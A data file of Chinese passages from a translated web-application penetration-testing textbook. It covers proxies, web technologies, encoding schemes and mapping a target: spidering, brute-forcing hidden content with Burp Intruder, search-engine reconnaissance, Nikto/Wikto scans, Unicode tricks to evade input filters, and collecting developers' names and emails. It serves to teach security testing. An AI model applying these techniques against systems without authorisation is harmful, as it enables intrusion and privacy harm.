    {"text": "当使用HTTPS时，浏览器无法与代理服务器进行SSL握手，因为这样做会破坏安全隧道，使通信易于遭受拦截攻击。 因此，浏览器必须将代理作为一个纯粹的TCP级中继，由它传递浏览器与目标Web浏览器之间的所有网络数据，并与浏览器进行正常的SSL握手。 浏览器使用CONNECT方法向代理服务器提交一个HTTP请求，并指定URL中的目标主机名称与端口号，从而建立这种中继。 如果代理允许该请求，它会返回一个含200状态码的HTTP响应，一直开放TCP连接，从此以后作为目标Web服务器的纯粹TCP级中继。"},
    {"text": "从某种程度上说，攻击Web应用程序时最有用的工具是一个处在浏览器与目标Web站点之间的专用代理服务器，使用它可以拦截并修改所有使用HTTPS的请求与响应。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 3.2 Web功能 除了在客户端与服务器之间发送消息时使用的核心通信协议外，Web应用程序还使用许多不同的技术来实现其功能。"},
    {"text": "这些技术包括： 脚本语言，如PHP、VBScript和Perl; Web应用程序平台，如ASP.NET和Java; Web服务器，如Apache、IIS和Netscape Enterprise 数据库，如MS-SQL、Oracle和MySQL; 其他后端组件，如文件系统、基于SOAP的Web服务和目录服务。"},
    {"text": "简单传统Java对象 （Plain Old Java Object，POJO）是一个普通的Java对象，以区别如EJB之类的特殊对象。 POJO常用于表示那些用户定义的、比EJB更加简单且更加轻量级的对象以及用在其他框架中的对象。"},
    {"text": "2．ASP.NET ASP.NET是Microsoft开发的一种Web应用程序框架，也是Java平台的主要竞争对手。 ASP.NET比Java平台晚几年推出，但它已经占领了Java平台的部分市场。 ASP.NET使用Microsoft的.NET Framework，提供一个虚拟机［CLR（Common Language Runtime，通用语言运行时）］与一组强大的API。"},
    {"text": "不需要开发者做任何工作，ASP.NET框架就能防御一些常见的Web应用程序漏洞，如跨站点脚本。 但这种明显简化的特点也造成一个现实问题，即许多小型的ASP.NET应用程序实际上由初学者开发，他们对于Web应用程序面临的核心安全问题缺乏了解。"},
    {"text": "人们使用PHP开发出大量的开源应用程序与组件，它们为常用的应用程序功能提供了现成的解决方案，并将其整合到应用更加广泛的定制应用程序中，例如： 公告牌 ——PHPBB、PHP-Nuke；"},
    {"text": "但是，由于历史原因，PHP框架的设计方法与默认配置导致程序员很容易不经意间在代码中引入安全漏洞，因此使用PHP编写的应用程序中可能包含大量安全漏洞。"},
    {"text": "如果开发者遵循Rails编码风格和命名约定，则可以使用Rails自动生成数据库内容的模型、修改该模型的控制器操作以及供应用程序用户使用的默认视图。"},
    {"text": "目前，绝大多数的Web应用程序都将基于SQL的数据库作为它们的后端数据仓库，而且，几乎所有应用程序的功能都需要以某种方式与这些数据仓库进行交互。"},
    {"text": "例如，要检索用户的具有指定名称的电子邮件地址，应用程序可以执行以下查询： 要实现它们所需的功能，Web应用程序可能会将用户提交的输入组合到由后端数据库执行的SQL查询中。"},
    {"text": "6．XML 可扩展标记语言（XML）是一种机器可读格式的数据编码规范。 与其他标记语言一样，XML格式将文档划分为内容（数据）和标记（给数据作注解）。 标记主要用标签表示，它们包括起始标签、结束标签和空元素标签： 起始和结束标签成对出现，其中可以包括文档内容或子元素： 标签可以包含以名/值对出现的属性： XML之所以可扩展，是因为它可以使用任意数量的标签和属性名。 XML文档通常包含文档类型定义（DTD），DTD定义文档中使用的标签、属性及其组合方式。"},
    {"text": "Web服务使用简单对象访问协议（SOAP）来交换数据。 通常，SOAP使用HTTP协议来传送消息，并使用XML格式表示数据。 典型的SOAP请求如下所示： 在使用浏览器访问Web应用程序时很可能会遇到SOAP，服务器端应用程序使用它与各种后端系统进行通信。"},
    {"text": "攻击者可以使用soapUI之类的工具、基于已公布的WSDL文件创建示例请求，以调用身份验证Web服务，获得身份验证令牌，并随后提出任何Web服务请求。"},
    {"text": "XHTML是HTML的进化版本，它基于XML，并采用比旧版HTML更严格的规范。 之所以推出XHTML，部分是因为需要转而采用一种更加严格的HTML标记标准，以避免由于浏览器必须接受不太严格的HTML格式而导致的各种攻击和安全问题。"},
    {"text": "Web应用程序中的超链接通常包含预先设定的请求参数，这些数据项不需由用户输入，而是由服务器将其插入用户单击的超链接的目标URL中，以这种方式提交。 例如，Web应用程序中可能会显示一系列新闻报道链接，其形式如下： 当用户单击这个链接时，浏览器会提出以下请求： 服务器收到查询字符串中的参数（newsid），并使用它的值决定向用户返回什么内容。 3．表单 虽然基于超链接的导航方法负责客户端与服务器之间的绝大多数通信，但许多Web应用程序还是需要采用更灵活的形式收集输入，并接收用户输入。"},
    {"text": "以下是一个典型的HTTP表单： 当用户在表单中输入值并单击“提交”按钮时，浏览器将提出以下请求： 在这个请求中，有几个要点说明了请求如何使用各种因素控制服务器端处理过程。 因为HTML表单标签中包含一个指定POST方法的属性，浏览器就使用这个方法提交表单，并将表单中的数据存入请求消息主体中。"},
    {"text": "例如，下面的CSS规则定义使用<h2>标签标记的标题的前景颜色： h2 { color: red; } 在Web应用程序安全的早期阶段，CSS在很大程度上被人们所忽略，人们认为它们不可能造成安全威胁。"},
    {"text": "今天，CSS本身正不断成为安全漏洞的来源，并且被攻击者作为传送针对其他类型的漏洞的入侵程序的有效手段（有关详细信息，请参阅第12章和第13章）。"},
    {"text": "改善应用程序的性能，因为这样可在客户端组件上彻底执行某些任务，不需要在服务器间来回发送和接收请求与响应。 提高可用性，因为这样可根据用户操作动态更新用户界面，而不需要加载服务器传送的全新HTML页面。"},
    {"text": "从安全角度看，我们之所以对它感兴趣，是因为在使用JavaScript无法传送入侵程序时，攻击者可以通过它来传送针对跨站点脚本之类漏洞的入侵程序（请参阅第12章）。"},
    {"text": "7．文档对象模型 文档对象模型（DOM）是可以通过其API查询和操纵的HTML文档的抽象表示形式。 DOM允许客户端脚本按id访问各个HTML元素并以编程方式访问这些元素的结构。 DOM还可用于读取和更新当前URL和cookie等数据。 另外，DOM还包括一个事件模型，以便于代码钩住各种事件，如表单提交、通过链接导航及键击。 如下一节所述，浏览器DOM操纵是基于Ajax的应用程序采用的关键技术。"},
    {"text": "例如，在基于Ajax的购物应用程序中，如果用户单击“添加到购物车”按钮，应用程序将启动一个后台请求，在服务器端更新用户的购物车记录，随后，一个轻量级响应会更新用户屏幕上显示的购物车中商品的数量。"},
    {"text": "经过一定程度的标准整合之后，这种技术现在已转化为一个本地JavaScript对象，客户端脚本可以通过该对象提出“后台”请求，而无须窗口级别的导航事件。"},
    {"text": "从更广义的角度看，使用Ajax会在服务器端和客户端引入更多潜在的攻击目标，因而增加了典型应用程序的受攻击面。 在设计针对其他漏洞的更加高效的入侵程序时，攻击者也可以利用Ajax技术。"},
    {"text": "Ajax应用程序经常使用JSON，以替换最初用于数据传输的XML格式。 通常，如果用户执行某个操作，客户端JavaScript将使用XMLHttpRequest将该操作传送到服务器。"},
    {"text": "如果用户单击某位联系人，浏览器将使用XMLHttpRequest检索所选联系人的详细资料，并使用JSON返回这些资料： 客户端脚本将使用JavaScript解释器来处理JSON响应并基于其内容更新用户界面的相关部分。"},
    {"text": "例如，如果用户更新联系人的详细资料，则可以使用以下请求将新信息传送至服务器： 10．同源策略 同源策略是浏览器实施的一种关键机制，主要用于防止不同来源的内容相互干扰。"},
    {"text": "如果不使用同源策略，那么，当不知情的用户浏览到某个恶意网站时，在该网站上运行的脚本代码将能够访问这名用户同时访问的任何其他网站的数据和功能。"},
    {"text": "12．“Web 2.0” 近些年来，Web 2.0这个专业术语已经成为一个流行词汇，用于Web应用程序领域内的各种相关趋势（尽管并不准确）的描述，这些趋势包括： 大量使用Ajax执行各种异步后台请求；"},
    {"text": "当用户执行一个操作（如在购物车中添加一件商品）时，服务器端应用程序会在用户会话内更新相关信息。 以后用户查看购物车中的内容时，应用程序就使用会话中的数据向用户返回正确的信息。"},
    {"text": "当然，由于通过客户端组件传送的任何数据都可被用户修改，因此，应用程序需要采取措施阻止攻击者更改这些状态信息，破坏应用程序的逻辑。"},
    {"text": "因为HTTP协议本身并没有状态，为使用正确的状态数据处理每个请求，大多数应用程序需要采用某种方法在各种请求中重新确认每一名用户的身份。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 3.3 编码方案 Web应用程序对其数据采用几种不同的编码方案。在早期阶段，HTTP协议和HTML语言都是基于文本的，于是人们设计出不同的编码方案，确保这些机制能够安全处理不常见的字符和二进制数据。攻击Web应用程序通常需要使用相关方案对数据进行编码，确保应用程序按照想要的方式对其进行处理。而且，在许多情况下，攻击者甚至能够控制应用程序所使用的编码方案，造成其设计人员无法预料的行为。 3.3.1 URL编码 URL只允许使用US-ASCII字符集中的可打印字符（也就是ASCII代码在0x20 ~ 0x7e范围内的字符）。而且，由于其在URL方案或HTTP协议内具有特殊含义，这个范围内的一些字符也不能用在URL中。 URL编码方案主要用于对扩展ASCII字符集中的任何有问题的字符进行编码，使其可通过HTTP安全传输。任何URL编码的字符都以%为前缀，其后是这个字符的两位十六进制ASCII代码。以下是一些常见的URL编码字符： %3d代表=； %25代表%； %20代表空格； %0a代表新行； %00代表空字节。 另一个值得注意的编码字符是加号（+），它代表URL编码的空格（除%20代表空格外）。 注解 当攻击Web应用程序时，如果需要将以下字符当做数据插入HTTP请求中，渗透测试员必须对它们进行URL编码。 空格 % ? & = ; + # （当然，当修改请求时，往往需要使用这些字符的特殊含义，例如，给查询字符串添加另外一个请求参数。这时应使用这些字符的字面量形式。） 3.3.2 Unicode编码 Unicode是一种为支持全世界所使用的各种编写系统而设计的字符编码标准，它采用各种编码方案，其中一些可用于表示Web应用程序中的不常见字符。 16位Unicode编码的工作原理与URL编码类似。为通过HTTP进行传输，16位Unicode编码的字符以%u为前缀，其后是这个字符的十六进制Unicode码点。例如： %u2215代表/； %u00e9代表é。 UTF-8是一种长度可变的编码标准，它使用一个或几个字节表示每个字符。为通过HTTP进行传输，UTF-8编码的多字节字符以%为前缀，其后用十六进制表示每个字节。例如： %c2%a9代表©； %e2%89%a0代表≠。 攻击Web应用程序时之所以要用到Unicode编码，主要在于有时可用它来破坏输入确认机制。如果输入过滤阻止了某些恶意表达式，但随后处理输入的组件识别Unicode编码，就可以使用各种标准与畸形Unicode编码避开过滤。 3.3.3 HTML编码 HTML编码是一种用于表示问题字符以将其安全并入HTML文档的方案。有许多字符具有特殊的含义（如HTML内的元字符），并被用于定义文档结构而非其内容。为了安全使用这些字符并将其用在文档内容中，就必须对其进行HTML编码。 HTML编码定义了大量HTML实体来表示特殊的字面量字符，例如： \"代表”； '代表’； &代表&； 代表<； 代表>。 此外，任何字符都可以使用它的十进制ASCII码进行HTML编码，例如： \"代表\"； #39;代表’。 或者使用十六进制的ASCII码（以x为前缀），例如： \"代表”； '代表’。 当攻击Web应用程序时，HTML编码主要在探查跨站点脚本漏洞时发挥作用。如果应用程序在响应中返回未被修改的用户输入，那么它可能易于受到攻击；但是，如果它对危险字符进行HTML编码，也许比较安全。请参阅第12章了解有关这些漏洞的更多详情。 3.3.4 Base64编码 Base64编码仅用一个可打印的ASCII字符就可安全转换任何二进制数据，它常用于对电子邮件附件进行编码，使其通过SMTP安全传输。它还可用于在基本HTTP验证机制中对用户证书进行编码。 Base64编码将输入数据转换成3个字节块。每个块被划分为4段，每段6个数据位。这6个数据位有64种不同的排列组合，因此每个段可使用一组64个字符表示。Base64编码使用以下字符集，其中只包含可打印的ASCII字符： 如果最后的输入数据块不能构成3段输出数据，就用一个或两个等号（=）补足输出。 例如， The Web Application Hacker’s Hand book 的Base64编码为： 许多Web应用程序利用Base64编码在cookie与其他参数中传送二进制数据，甚至用它打乱敏感数据以防止即使是细微的修改。应该总是留意并解码发送到客户端的任何Base64数据。由于这些数据使用特殊的字符集，而且有时会在字符串末尾添加补足字符（=），因此可以轻易辨别出Base64编码的字符串。 3.3.5 十六进制编码 许多应用程序在传送二进制数据时直接使用十六进制编码，用ASCII字符表示十六进制数据块。例如，对cookie中的用户名daf进行十六进制编码，会得到以下结果： 646166 和Base64编码的数据一样，十六进制编码的数据通常也很容易辨认。为了解十六进制编码的功能应当对服务器发送到客户端的任何十六进制数据进行解码。 3.3.6 远程和序列化框架 近些年出现了各种用于创建用户界面的框架，这些框架中的客户端代码可以远程访问服务器 端实施的编程API。利用这些框架，开发者可以在一定程度上忽略Web应用程序的分布式本质，而以与开发传统桌面应用程序类似的方式编写代码。这些框架通常提供客户端上使用的存根API。它们还能够自动处理以下两个任务：通过这些API远程调用相关服务器端功能，对传送给上述功能的任何数据进行序列化。 这类远程和序列化框架包括： Flex和AMF； Silverlight和WCF； Java序列化对象。 我们将在第4章和第5章讨论使用这些框架的技巧以及由此引发的安全问题。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 3.4 下一步 到现在为止，我们已经介绍了Web应用程序的当前安全（风险）状况，分析了Web应用程序的核心防御机制，并简要介绍了当今应用程序所采用的关键技术。基于这些基础知识，现在我们将开始研究渗透测试员如何向Web应用程序发动攻击。 在实施任何攻击之前，首要任务是仔细分析目标应用程序的内容及功能，了解它的工作原理、防御机制及其使用的技术。我们将在下一章详细介绍这个解析过程，说明如何通过它深入了解应用程序的受攻击面。实践证明，这个过程对于渗透测试员发现并利用目标应用程序的安全漏洞至关重要。 黑客攻防技术宝典：Web实战篇（第2版） 3.5 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）OPTIONS方法有什么作用？ （2）If-Modified-Since和If-None-Match消息头的作用是什么？它们为何引起攻击者的兴趣？ （3）当服务器设置cookie时，secure标签有什么意义？ （4）常用状态码301与302有什么不同？ （5）使用SSL时，浏览器如何与Web代理实现互操作？ 黑客攻防技术宝典：Web实战篇（第2版） 第4章 解析应用程序 攻 击应用程序的第一步是收集和分析与其有关的一些关键信息，以清楚了解攻击目标。解析过程首先是枚举应用程序的内容与功能，从而了解应用程序的实际功能与运行机制。我们可轻松确定应用程序的大部分功能，但其中一些功能并不明显，需要进行猜测和凭借一定的运气才能查明。 列出应用程序的功能后，接下来的首要任务就是仔细分析应用程序运行机制的每一个方面、核心安全机制及其（在客户端和服务器上）使用的技术。这样就可以确定应用程序暴露的主要受攻击面并因此确定随后探查过程的主要目标，进而发现可供利用的漏洞。我们在本章后面部分将讲到，通常在分析过程中就可以发现相关漏洞。 随着应用程序变得越来越复杂，功能越来越强大，有效的解析将成为一种重要技能。经验丰富的专家能够迅速对所有功能区域进行分类，参照各种实例查找不同类型的漏洞，同时花费大量时间测试其他特定区域，以确定高风险的问题。 本章将描述应用程序解析过程的主要步骤、各种可用来提高效率的技巧与窍门，以及一些帮助进行解析的工具。"},
    {"text": "这些工具首先请求一个Web页面，对其进行分析，查找连接到其他内容的链接，然后请求这些内容，再继续进行这个循环，直到找不到新的内容为止。"},
    {"text": "基于这一基本功能，Web应用程序爬虫（spider）以同样的方式分析HTML表单，并使用各种 预先设定值或随机值将这些表单返回给应用程序，以扩大搜索范围、浏览多阶段功能、进行基于表单的导航（如什么地方使用下拉列表作为内容菜单）。"},
    {"text": "一些攻击Web应用程序的抓取工具会搜索robots.txt文件，并根据其中列出的URL开始抓取过程。 在这种情况下，robots.txt文件可能会危及Web应用程序的安全。"},
    {"text": "图4-1 使用BurpSpider解析应用程序的部分内容 提示 采用REST风格的URL的应用程序使用部分URL文件路径来唯一标识应用程序所使用的数据和其他资源（请参阅第3章了解详情）。"},
    {"text": "自动应用程序爬虫通常会向每一个可编辑的表单字段提交一个单独的测试字符串，而应用程序将返回一条错误消息，称其提交的一个或几个数据无效。"},
    {"text": "如果应用程序使用身份验证机制，应用程序爬虫要实现有效抓取，必须能够处理这种机制才能访问它所保护的功能。 如果为其手动配置一个通过验证的会话令牌或提交给登录功能的证书，前面提到的爬虫就能实现有效抓取。"},
    {"text": "然而，即使获得令牌或证书，由于各种原因，爬虫执行的一些操作也会让通过验证的会话中断。 由于访问所有URL，爬虫会在某个时候请求退出功能，致使会话中断。 如果爬虫向某个敏感功能提交无效输入，应用程序可能会进行自我防御，终止会话。 如果应用程序在每个页面都使用令牌，爬虫肯定无法按正确的顺序请求页面，这可能引起应用程序结束整个会话。 警告 在一些应用程序中，即使运行一个解析并请求链接的简单Web爬虫也可能极其危险。"},
    {"text": "该工具绘制应用程序地图、集中由浏览器访问的所有URL，并且像一个正常的应用程序感知爬虫那样分析应用程序的响应，同时用它发现的内容与功能更新站点地图。"},
    {"text": "针对/home的请求将导致以下响应： 通过用户指导的抓取，用户可以直接使用浏览器登录应用程序，随后代理服务器/爬虫工具将提取生成的会话，并确定现在对用户可用的所有其他内容。"},
    {"text": "该图显示了一个对私有用户资料的引用，此用户资料通过onClick事件处理程序启动的JavaScript函数访问： 由于传统的Web爬虫仅仅抓取HTML中的链接，因此可能会遗漏这种类型的链接。"},
    {"text": "提示 除上面描述的代理服务器/爬虫工具外，在应用程序解析过程中，我们还经常使用一些其他工具，如可从浏览器界面执行HTTP和HTML分析的各种浏览器扩展工具。"},
    {"text": "例如，图4-3所示的IEWatch工具可在Microsoft Internet Explorer中运行，对所有请求和响应（包括消息头、请求参数与cookie）进行监控，并分析每一个应用程序页面，以显示链接、脚本、表单和厚客户端组件。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）配置浏览器，使用Burp或WebScarab作为本地代理服务器（如果不确定，请参阅第20章了解相关信息）。"},
    {"text": "例如，假设用户指定的抓取已经确定有以下应用程序内容： 首先，试图确定隐藏内容的自动化工具将提出下列请求，以定位其他目录： Burp Intruder可用于循环访问一组常见的目录名称并收集服务器的响应信息，可通过检查这些信息来确定有效的目录。"},
    {"text": "图4-4表示正在配置Burp Intruder探查Web根目录中的常见目录。 图4-4 配置Burp Intruder探查常见目录 执行攻击后，单击status和length等标题栏会对其中的结果进行相应分类，有助于迅速发现异常，如图4-5所示。 图4-5 Burp Intruder显示目录蛮力攻击结果 对目录和子目录进行蛮力攻击后，就可以查找应用程序中的其他页面。"},
    {"text": "同样，攻击者可以请求该目录中的一系列文件： 此攻击的结果如图4-6所示，它确定了/auth目录中的一些资源： 图4-6 Burp Intruder显示文件蛮力攻击结果 值得注意的是，针对Profile的请求返回了HTTP状态码302。"},
    {"text": "注解 不要想当然地认为：如果被请求的资源存在，应用程序将返回200 OK响应，否则将返回404 Not Found响应。 许多应用程序以自定义的方式处理访问不存在资源的请求，通常返回一个带200响应码的预定义错误消息。 而且，一些访问现存资源的请求可能会收到非200响应。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）手动提出一些访问有效与无效资源的请求，并确定服务器如何处理无效资源。 （2）使用用户指定的抓取生成的站点地图作为自动查找隐藏内容的基础。 （3）自动提出访问应用程序内已知存在的每个目录或路径中常用文件名和目录的请求。使用Burp Intruder或一段定制脚本，结合常用文件名和目录词汇表，迅速生成大量请求。如果已经确定应用程序处理访问无效资源请求的特定方式（如自定义的file not found页面），应配置Intruder或脚本突出显示这些结果，以便将其忽略。 （4）收集从服务器收到的响应，并手动检查这些响应以确定有效的资源。 （5）反复执行这个过程，直到发现新内容。 2．通过公布的内容进行推测 许多应用程序对其内容与功能使用某种命名方案。通过应用程序中已经存在的资源进行推断，可以调整自动枚举操作，提高发现其他隐藏内容的可能性。 请注意，在EIS应用程序中，/auth中的所有资源均以大写字母开头，这就是上一节的文件蛮力攻击中使用的单词表有意大写的原因。而且，既然我们已在/auth目录中确定了一个名为ForgotPassword的页面，我们就可以在其中搜索其他名称类似的项目，例如： http://eis/auth/ResetPassword 此外，在用户指导的抓取过程中创建的站点地图确定了以下资源： http://eis/pub/media/100 http://eis/pub/media/117 http://eis/pub/user/11 其他类似范围的数值可用于确定其他资源和信息。 提示 Burp Intruder高度可定制化，并且可用于针对HTTP请求的任何部分。图4-7显示了如何使用Burp Intruder对前半部分文件名实施蛮力攻击，以提出下列请求： 图4-7 使用Burp Intruder对部分文件名实施定制蛮力攻击"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）检查用户指定的浏览与基本蛮力测试获得的结果。编译枚举出的所有子目录名称、文件词干和文件扩展名列表。 （2）检查这些列表，确定应用程序使用的所有命名方案。例如，如果有些页面的名称为 AddDocument.jsp和ViewDocument.jsp，那么可能还有叫做EditDocument.jsp和RemoveDocument.jsp的页面。通常，只需要查看几个示例，就能推测出开发者的命名习惯。根据其个人风格，开发者可能采用各种命名方法，如冗长式（AddANewUser.asp）、简洁式（AddUser.asp）、使用缩写式（AddUsr.asp）或更加模糊的命名方式（AddU.asp）。了解开发者使用的命名方式有助于猜测出尚未确定的内容的准确名称。 （3）有时候，不同内容的命名方案使用数字和日期作为标识符，通过它们可轻易推测出隐藏的内容。静态内容（而非动态脚本）常常采用这种命名方式。例如，如果一家公司的Web站点含有AnnualReport2009.pdf和AnnualReport2010.pdf这两个文件的链接，应该可以立即确定接下来的报告名称。令人难以置信的是，一些公司在公布金融结果之前，常常会将包含金融信息的文件放在Web服务器上，有些精明的新闻记者往往能够根据其在前些年使用的命名方案，发现这些文件。 （4）检查所有客户端代码，如HTTP和JavaScript，确定任何与隐藏服务器端内容有关的线索。这些代码包括与受保护或没有建立链接功能有关的HTML注释以及包含禁用SUBMIT元素的HTML表单等。通常，注释由生成Web内容的软件自动生成，或者由应用程序运行的平台生成。参考服务器端包含文件之类的内容也特别有用。这些文件可被公众下载，并且可能包含高度敏感的信息（如数据库连接字符串和密码）。另外，开发者的注释中可能包含各种有用的信息，如数据库名称、后端组件引用、SQL查询字符串等。厚客户端组件（如Java applet和ActiveX控件）也可能包含可供利用的敏感数据。请参阅第15章了解应用程序揭示自身信息的其他方式。 （5）把已经枚举出的内容添加到其他根据这些列表项推测出来的名称中，并将文件扩展名列表添加到txt、bak、src、inc和old这些常用扩展名中，它们也许能够披露现有页面备份版本的来源以及与所使用的开发语言有关的扩展名，如.Java和.cs；这些扩展名可能揭示已经被编译到现有页面的来源文件（请参阅本章后面的提示，了解如何确定所使用的技术）。 （6）搜索开发者工具和文件编辑器不经意建立的临时文件。例如.DS_Store文件，其中包含一个OS X目录索引，或者file.php~1，它是编辑file.php时临时创建的文件，或者大量软件工具使用的.tmp文件。 （7）进一步执行自动操作，结合目录、文件词干和文件扩展名列表请求大量潜在的资源。例如，在特定的目录中，请求每个文件词干和每个文件扩展名；或者请求每个目录名作为已知目录的子目录。 （8）如果确定应用程序使用一种统一的命名方案，考虑在此基础上执行更有针对性的蛮力测试。例如，如果已知AddDocument.jsp和ViewDocument.jsp存在，就可以建立一个操作列表（编辑、删除、新建等）并请求XxxDocument.jsp。此外，还可以建立项目类型（用户、账户、文件等）并请求AddXxx.jsp。 （9）以新枚举的内容和模式作为深入用户指定抓取操作的基础，反复执行上述每一个步骤，继续执行自动内容查找。所采取的操作只受到想象力、可用时间以及在所针对的应用程序中发现隐藏内容的重要性的限制。 注解 使用Burp Intruder Pro的“内容查找”（Content Discovery）功能可以自动完成我们迄今为止介绍的大多数任务。在使用浏览器手动解析应用程序的可见内容后，可以选择Burp站点地图的一个或多个分支，并对这些分支启动内容查找会话。在尝试查找新内容时，Burp使用以下技巧： 使用内置的常用文件名和目录名列表实施蛮力攻击； 基于在目标应用程序中观察到的资源名称动态生成单词表； 推断包含数字和日期的资源名称； 基于已确定的资源测试其他文件扩展名； 从查找到的内容中进行抓取； 自动识别有效或无效响应，以减少错误警报。 所有操作均以递归方式执行，在发现新的应用程序内容后，将安排新的查找任务。图4-8显示了一个正在进行的针对EIS应用程序的内容查找会话。 图4-8 一个正在进行的针对EIS应用程序的内容查找会话 提示 在执行自动内容查找任务时，OWASP发起的DirBuster项目也是一个有用的资源，其中包含大量以出现频率排序的、在现实世界的应用程序中发现的目录名列表。 3．利用公共信息 应用程序的一些内容与功能现在可能并没有与主要内容建立链接，但过去曾经存在链接。在这种情况下，各种历史记录中可能仍然保存隐藏内容的引用。我们可以利用两类主要的公共资源查找隐藏的内容。 搜索引擎，如Google。这些搜索引擎中保存有其使用的强大爬虫所发现的所有内容的详细 目录，并且将这些内容保存在缓存中，即使原始内容已被删除，缓存中的内容仍然不变。 Web档案，如www.archive.org上的WayBack Machine。这些档案保存大量Web站点的历史记录。许多时候允许用户浏览某个站点从几年前到现在于不同时期彻底复制的站点快照。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用几种不同的搜索引擎和Web档案查找它们编入索引或保存的关于所攻击的应用程序的内容。 （2）查询搜索引擎时，可以使用各种高级技巧提高搜索效率。以下建议适用于Google（可以在其他引擎中选择“高级搜索”找到对应的查询）。 site:www.wahh-target.com。它将返回Google引用的每一个目标站点资源。 site:www.wahh-target.com login。它将返回所有包含login表达式的页面。在大型而复杂的应用程序中，这个技巧可用于迅速定位感兴趣的资源，如站点地图、密码重设功能、管理菜单等。 link:www.wahh-target.com。它将返回其他Web站点和应用程序中所有包含目标站点链接的页面。其中包括过去内容的链接或仅第三方可用的功能，如合作伙伴链接。 related:www.wahh-target.com。它将返回与目标站点“相似”的页面，因此可能包含大量无关的资料。但是，其中也可能包含在其他站点与目标有关的讨论，它们可能会有帮助。 （3）每次搜索时，不仅在Google的默认Web部分进行搜索，还要搜索“群组”和“新闻”部分，它们可能会提供不同的结果。 （4）浏览到某个查询搜索结果的最后一个页面，并选择“将省略的结果纳入搜索范围后再重新搜索”。默认情况下，Google会删除结果中它认为与其他页面非常相似的页面，过滤冗长的结果。撤销这一行为能够发现稍有不同的页面，它们也许有助于攻击目标应用程序。 （5）查看感兴趣页面的缓存版本，包括任何不再在应用程序中出现的内容。某些情况下，搜索引擎缓存中可能包含如果未通过身份验证或付费就无法直接访问的资源。 （6）在属于相同组织的其他域名上执行相同的查询，这些域名中可能包含与所攻击的应用程序有关的有用信息。 如果搜索结果发现主应用程序中不再存有链接的陈旧内容和功能，它们可能仍然有用。陈旧功能中可能包含应用程序其他地方并不存在的漏洞。 即使陈旧内容已经从现有应用程序中删除，但是从搜索引擎缓存或Web档案中发现的相关信息仍然可能包含与应用程序现有功能有关的引用或线索，它们可能有助于攻击者向其实施攻击。 开发人员和其他人在因特网论坛上发表的帖子是提供目标应用程序有用信息的另一个公共来源。因特网上有大量软件设计人员和程序员在其中询问和回答技术问题的论坛。发表在这些论坛上的帖子通常包含与应用程序有关的信息，攻击者可直接对其加以利用。这些信息包括应用程序使用的技术、执行的功能、在开发过程中遇到的问题、已知的安全缺陷、向其提交以帮助解决疑难的配置与日志文件，甚至是源代码摘录。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）列出所发现的与目标应用程序及其开发有关的每一个姓名和电子邮件地址，其中应包括所有已知的开发者、在HTML源代码中发现的姓名、在公司主要Web站点联系信息部分发现的姓名以及应用程序本身披露的所有姓名（如管理职员）。 （2）使用上文描述的搜索技巧，搜索发现的每一个姓名，查找他们在因特网论坛上发表的所有问题和答案。分析发现的所有信息，了解与目标应用程序功能或漏洞有关的线索。 4．利用Web服务器 Web服务器层面存在的漏洞有助于攻击者发现Web应用程序中并未建立链接的内容与功能。例如，Web服务器软件中存在大量的程序缺陷，允许攻击者枚举目录的内容，或者获取服务器可执行的动态页面的原始来源（请参阅第18章了解这些漏洞的一些实例以及确定漏洞的方法）。如果应用程序中存在上述程序缺陷，攻击者就可以利用它直接获得应用程序的所有页面和其他资源。 许多Web服务器上默认包含有助于攻击者对其实施攻击的内容。例如，样本和诊断性脚本中可能包含已知的漏洞，或者可被用于某些恶意用途的功能。而且，许多Web应用程序整合了常用的第三方组件，执行各种常规功能，如购物车、论坛或内容管理系统（CMS）功能。这些功能通常安装在与Web根目录或应用程序的起始目录相关的固定位置。 本质上，自动化工具非常适用于执行上述任务，许多自动化工具可向一系列已知的默认Web服务器内容、第三方应用程序组件和常用目录名称发布请求。虽然这些工具无法准确查明任何隐藏的预定义功能，但使用它们往往有助于查找其他应用程序没有建立链接以及有利于实施攻击的资源。 Wikto就是许多能够执行上述扫描的免费工具中的一个，其中还包含一个可配置的蛮力攻击内容列表。如图4-9所示，针对Extreme Internet Shopping站点进行扫描时，它可以使用自己的内部单词表确定一些目录。由于其中包含一个常用Web应用程序软件和脚本的大型数据库，因此，它还能确定以下目录，而攻击者通过自动或用户驱动的抓取却找不到这些目录： 图4-9 将Wikto用于查找内容和某些已知的漏洞 http://eis/phpmyadmin/ 此外，虽然/gb目录已通过抓取得以确定，但Wikto确定了以下URL： /gb/index.php?login=true Wikto检查该URL，是因为gbook PHP应用程序使用该URL，而前者包含一个广为人知的漏洞。 警告 和许多商业Web扫描器一样，Nikto和Wikto之类的工具包含大量默认文件和目录列表，因此似乎能够很好地完成大量检查任务。但是，这些检查大部分都是多余的，错误警报也经常发生。更糟糕的是，如果将服务器配置为隐藏旗标、将脚本或脚本集合移至其他目录、或以自定义的方式处理HTTP状态码，还经常会出现漏报。为此，通常最好是使用Burp Intruder等工具，因为这类工具可以解译原始的响应信息，并且不会误报或漏报问题。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 运行Nikto时可以参考以下几点。 （1）如果认为服务器将Nikto检查的内容保存在一个非标准位置（如/cgi/cgi-bin而非/cgi-bin），可以使用-root/cgi/选项指定这个位置。在使用CGI目录的特殊情况下，还可通过-Cgidirs选项指定保存位置。 （2）如果站点使用不返回HTTP404状态码的file not found定制页面，可以指定一个特殊字符串，使用-404选项标识这个页面。 （3）注意，Nikto并不对潜在的问题执行任何智能核实。因此，它往往会做出错误诊断。请手动核实由Nikto返回的任何结果。 需要注意，在使用Nikto之类的工具时，可以使用域名或IP地址来指定目标应用程序。如果某工具使用IP地址来访问一个页面，则此工具会将该页面上使用域名的链接视为属于不同的域，因而不会访问这些链接。这样做是有道理的，因为一些应用程序属于虚拟托管应用程序，有多个域名共享同一个IP地址。因此，在配置相关工具时，请记住上述事实。 4.1.4 应用程序页面与功能路径 